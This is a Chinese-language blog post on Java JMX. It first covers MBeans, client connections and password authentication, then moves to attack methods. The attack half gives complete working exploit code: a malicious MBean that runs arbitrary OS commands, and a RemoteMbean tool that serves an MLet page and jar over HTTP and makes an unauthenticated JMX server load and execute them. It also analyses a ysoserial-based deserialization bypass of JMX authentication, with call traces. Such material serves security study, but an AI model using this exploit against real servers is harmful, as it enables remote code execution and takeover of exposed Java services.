首页 > 其他分享 >JMX攻击方式以及理论文章

JMX攻击方式以及理论文章

时间:2023-02-09 16:23:19浏览次数:54  
标签:JMX management java String sun 文章 import rmi 攻击方式

这里就简单记录一下 其中遇到比较常见的一些东西吧。
比如jmx的地址:

service:jmx:rmi://localhost:1099/jndi/rmi://localhost:8899/myname
  • service:jmx: 是JMX URL的标准前缀,所有的JMX URL都必须以该字符串开头。
  • 第一个rmi指的是rmi连接器,表示连接器使用RMI传输协议【RMI连接器被指定为默认的连接器】
  • localhost:1099: 是connector server的IP和端口,该部分是一个可选项,可以被省略掉。如果省略的话,则connector server会随机任意选择一个可用的端口。也就是我们常见的service:jmx:rmi:///jndi/rmi://localhost:8899/myname
  • /jndi/rmi://localhost:8899/myname: 是connector server的路径,表示Connector server的stub是使用JNDI API绑定在rmi://localhost:8899/myname这个地址上。

比如Mbean的种类

image.png

然后写一下简单的demo吧。
HelloMbean

package com.jmx;

public interface HelloMBean
{
    public String getName();
    public void setName(String name);
    public void helloWorld();
    public void helloWorld(String str);
}

Hello

package com.jmx;

public class Hello implements HelloMBean {
    private String name;
    public void helloWorld() {
        System.out.println("hello world");
    }

    public void helloWorld(String str) {
        System.out.println("helloWorld:" + str);
    }

    public String getName() {
        System.out.println("get name 123");
        return name;
    }
    public void setName(String name) {
        System.out.println("set name 123");
        this.name = name;
    }

}

HelloAgent

package com.jmx;

import javax.management.JMException;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;

public class HelloAgent {
    public static void main(String[] args) throws JMException, Exception
    {
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();
        //通过工厂类获取MBeanServer,用来做MBean的容器
        ObjectName helloName = new ObjectName("jmxBean:name=hello");
        //ObjectName中的取名是有一定规范的,格式为:“域名:name=MBean名称”,其中域名和MBean的名称可以任意取
        server.registerMBean(new Hello(), helloName);
        //create mbean and register mbean
        Thread.sleep(60*60*1000);
    }
}

一个简单的JMX的DEMO已经写完了,现在我们通过JDK提供的Jconsole来进行操作

Jconsole连接jmx

image.png
jmx api还定义了一系列的生成可以使Mbean生成消息通知的机制。用于状态的变更。这里就不写了。

Java 客户端连接JMX

上面我们是工具作为客户端连接的JMX服务。这里使用java代码来连接。
首先服务器需要开启支持远程连接的端口等信息。这些信息在JVM参数配置

-Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false

我们的Mbean Client

package com.jmx;

import javax.management.MBeanServerConnection;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;

public class JmxClient {
    public static void main(String[] args) throws IOException {
        String host = "127.0.0.1";
        int port = 9999;
        String url = "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi";

        JMXServiceURL serviceURL = new JMXServiceURL(url);
        final JMXConnector connector;
        try {
            connector = JMXConnectorFactory.connect(serviceURL);
        } catch (IOException e) {
            e.printStackTrace();
            return;
        }
        MBeanServerConnection connection = connector.getMBeanServerConnection();
        
    }
}

使用JMXConnectorFactory 方式连接时,JMXServiceURL 的参数 url 必须使用 service:jmx 方式进行连接,通过上面这种方式,我们得到了一个 JMX 客户端和服务器直接的连接 connection。
遍历我们MBeans信息

Set<ObjectName> objectNames = connection.queryNames(null, null);
for (ObjectName objectName : objectNames) {
  System.out.println("========" + objectName + "========");
  MBeanInfo mBeanInfo = connection.getMBeanInfo(objectName);
  System.out.println("[Attributes]");
  for (MBeanAttributeInfo attr : mBeanInfo.getAttributes()) {
    Object value = null;
    try {
      value = attr.isReadable() ? connection.getAttribute(objectName, attr.getName()) : "";
    } catch (Exception e) {
      value = e.getMessage();
    }
    System.out.println(attr.getName() + ":" + value);
  }
  System.out.println("[Operations]");
  for (MBeanOperationInfo oper : mBeanInfo.getOperations()) {
    System.out.println(oper.getName() + ":" + oper.getDescription());
  }
  System.out.println("[Notifications]");
  for (MBeanNotificationInfo notice : mBeanInfo.getNotifications()) {
    System.out.println(notice.getName() + ":" + notice.getDescription());
  }
}

首先通过 connection 的 queryNames (方法参数为 null 时)获取所有的注册的 MBean 的名字,然后对名字进行遍历,根据名字获取 MBeanInfo,在遍历获取其中的属性、操作和通知信息。在获取属性的时候,我们先判断属性是否可读,然后在通过 objectName 和属性名获取值。
image.png
再比如调用服务端的方法再原来的基础上增加

ObjectName objectName = new ObjectName("jmxBean:name=hello");
HelloMBean helloMBean = JMX.newMBeanProxy(connection, objectName, HelloMBean.class, true);
helloMBean.helloWorld("java -> jmx");

image.png
以及如果要弄消息机制通知也是可以的 服务端实现了 我们去监听获取即可。

认证加密操作

例如 我们需要添加一个账号和密码 以及对应的权限的时候。可以在服务端的JVM上配置。

-Dcom.sun.management.jmxremote.port=9999
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.access.file=D:\Java_code\jmx\src\main\java\com\conf\jmx.access
-Dcom.sun.management.jmxremote.password.file=D:\Java_code\jmx\src\main\java\com\conf\jmx.password

访问权限 jmx.access:

  • 只能读取 MBean 的属性和接受通知。
  • readwrite 还允许设置属性,调用方法,创建和删除 MBean。
user readonly
admin readwrite

访问密码 jmx.password:

user user
admin admin

image.png
cacls jmx.password /P 当前用户:R 玄学问题等需要重启解决。。。。以及或者使用chmod 400
image.png
在以上基础上我们增加了验证那我们java代码修改如下:

package com.jmx;

import javax.management.JMX;
import javax.management.MBeanServerConnection;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;

public class JmxClient {
    public static void main(String[] args) throws IOException, MalformedObjectNameException {
        String host = "127.0.0.1";
        int port = 9999;
        String url = "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi";
        Map<String, Object> environment = new HashMap<>();
        environment.put(JMXConnector.CREDENTIALS, new String[]{"admin", "admin"});

        JMXServiceURL serviceURL = new JMXServiceURL(url);
        final JMXConnector connector;
        try {

            connector = JMXConnectorFactory.connect(serviceURL,environment);
        } catch (IOException e) {
            e.printStackTrace();
            return;
        }
        MBeanServerConnection connection = connector.getMBeanServerConnection();
        ObjectName objectName = new ObjectName("jmxBean:name=hello");

        HelloMBean helloMBean = JMX.newMBeanProxy(connection, objectName, HelloMBean.class, true);
        helloMBean.helloWorld("java -> jmx");
    }
}

SSL

参考如下:
https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html

JMX无认证攻击方式一

当无需认证的时候我们可以通过jmx客户端远程注册一个恶意的Mbean,参考
https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md
原理就是通过javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的MBean。
简单写一下
EvilMBean

package com.evil;

import java.io.IOException;

public interface EvilMBean {
    public String runCommand(String cmd) throws IOException;
}

Evil

package com.evil;

import java.io.IOException;

public class Evil implements EvilMBean{
    @Override
    public String runCommand(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
        return "ok";
    }
}

打包

javac Evil*.java
jar -cvf evilMBean.jar EvilMBean.class Evil.class

RemoteMBean

package com.evil;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;

/**
 * Created by k1n9 on 2017/8/23.
 */
public class RemoteMbean {
    private static String JARNAME = "evilMBean.jar";
    private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
    private static String EVILCLASS = "Evil";

    public static void main(String[] args) {
        try {
            //开启Http服务,提供带mlet标签的html和恶意MBean的jar包
            HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
            server.createContext("/mlet", new MLetHandler());
            server.createContext("/" + JARNAME, new JarHandler());
            server.setExecutor(null);
            server.start();
            //这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
            connectAndOwn("10.18.224.59", "2333", "id");

            server.stop(0);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    static void connectAndOwn(String serverName, String port, String command) {
        try {
            //建立连接
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");

            JMXConnector c = JMXConnectorFactory.connect(u, null);
            System.out.println("Connected: " + c.getConnectionId());

            MBeanServerConnection m = c.getMBeanServerConnection();

            ObjectInstance evil_bean = null;
            try {
                evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
            } catch (Exception e) {
                evil_bean = null;
            }

            if (evil_bean == null) {
                System.out.println("Trying to create bean...");
                ObjectInstance evil = null;
                try {
                    evil = m.createMBean("javax.management.loading.MLet", null);
                } catch (javax.management.InstanceAlreadyExistsException e) {
                    evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                }

                System.out.println("Loaded " + evil.getClassName());
                //调用 getMBeansFromURL 从远程服务器获取 MBean
                Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                        new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
                        new String[] {String.class.getName()}
                );
                HashSet res_set = (HashSet)res;
                Iterator itr = res_set.iterator();
                Object nextObject = itr.next();
                if (nextObject instanceof Exception) {
                    throw ((Exception)nextObject);
                }
                evil_bean = ((ObjectInstance)nextObject);
            }
            //调用恶意 MBean 中用于执行命令的函数
            System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static class MLetHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            /**
             * mlet 标签
             * <MLET
             * CODE = class | OBJECT = serfile
             * ARCHIVE = "archiveList"
             * [CODEBASE = codebaseURL]
             * [NAME = mbeanname]
             * [VERSION = version]
             * >
             * [arglist]
             * </MLET>
             */
            String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
            System.out.println("Sending mlet: " + respone + "\n");
            t.sendResponseHeaders(200, respone.length());
            OutputStream os = t.getResponseBody();
            os.write(respone.getBytes());
            os.close();
        }
    }

    static class JarHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            System.out.println("Request made for JAR...");
            //这里的 compromise.jar 可以根据实际的路径来修改
            File file = new File("C:\\Users\\Administrator\\Desktop\\evilMBean.jar");
            byte[] bytearray = new byte[(int)file.length()];
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            bis.read(bytearray, 0 , bytearray.length);
            t.sendResponseHeaders(200, file.length());
            OutputStream os = t.getResponseBody();
            os.write(bytearray, 0, bytearray.length);
            os.close();
        }
    }
}

image.png
我们回到Jconsole发现以及注册可以调用了。
image.png

JMX无认证攻击方式二

https://github.com/mogwailabs/mjet 没试。原理是重装。

JMX认证攻击方式

上面两种方式原理一样,然而,如果开启认证,上面俩种攻击方式是不能打的。https://github.com/openjdk-mirror/jdk7u-jdk/blob/f4d80957e89a19a29bb9f9807d2a28351ed7f7df/src/share/classes/com/sun/jmx/remote/security/MBeanServerAccessController.java#L619,如下代码开启认证是不能调用jmx.remote.x.mlet.allow.getMBeansFromURL方法 需要开启或者配置访问权限才可以。
image.png
所以yso中实际上是调用任意MBean方法,但是参数换成了我object导致的。即使该账户没有任何权限也是可以完成的。因为反序列化是在实际权限检查之前进行的。如图所示修改yso
image.png

调用链简单分析

无认证调用链

get:183, MarshalledObject (java.rmi)
unwrap:1583, RMIConnectionImpl (javax.management.remote.rmi)
unwrap:1624, RMIConnectionImpl (javax.management.remote.rmi)
invoke:812, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 986299174 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

image.png
MBean Server接收到数据后,会对获取到的参数数据进行object[]转换,在转换前,需要将RMI交互过程中的序列化数据进行反序列化导致可以利用。

需认证调用链

get:182, MarshalledObject (java.rmi)
lambda$unwrap$0:1581, RMIConnectionImpl (javax.management.remote.rmi)
run:-1, 2085224793 (javax.management.remote.rmi.RMIConnectionImpl$$Lambda$9)
doPrivileged:-1, AccessController (java.security)
unwrap:1579, RMIConnectionImpl (javax.management.remote.rmi)
unwrap:1624, RMIConnectionImpl (javax.management.remote.rmi)
invoke:812, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 324582182 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

对比发现就是多了下面几步。

lambda$unwrap$0:1581, RMIConnectionImpl (javax.management.remote.rmi)
run:-1, 2085224793 (javax.management.remote.rmi.RMIConnectionImpl$$Lambda$9)
doPrivileged:-1, AccessController (java.security)

区别在于如下。
image.png
如果是认证在反序列化我们的恶意数据之前 先进行对我们传入认证进行了一次类型反序列化后的检查,需要在白名单之类,只能为 String 或者 String字符串类型
image.png
当前的调用链

check:260, RMIJRMPServerImpl$ExportedWrapper (javax.management.remote.rmi)
validateDescriptor:673, UnicastServerRef$MyChecker (sun.rmi.server)
validateDesc:354, MarshalInputStream (sun.rmi.server)
readClassDescriptor:343, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1857, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readArray:1930, ObjectInputStream (java.io)
readObject0:1567, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
unmarshalParametersChecked:650, UnicastServerRef (sun.rmi.server)
unmarshalParameters:616, UnicastServerRef (sun.rmi.server)
dispatch:338, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 2065149174 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

而上面var1是那里来的呢是在创建jmx的时候已经进行了封装RMIConnectorServer#newJRMPServer
image.png
其中即使我们没有设置 我这里依然显示env为两个String 别的师傅为null 但这不影响。
理论原理文章请参考:

https://www.cnblogs.com/dongguacai/p/5900507.html
https://www.iteye.com/blog/chenjumin-2247628
https://nosec.org/home/detail/2544.html  //老外翻译 全一些
https://www.anquanke.com/post/id/202686#h3-5

https://blog.csdn.net/isea533/article/details/77431044	jmx基础操作
https://liuzh.blog.csdn.net/article/details/77455973	jmx客户端
https://liuzh.blog.csdn.net/article/details/77600542	jmx认证加密

标签:JMX,management,java,String,sun,文章,import,rmi,攻击方式
From: https://www.cnblogs.com/R0ser1/p/17105650.html

相关文章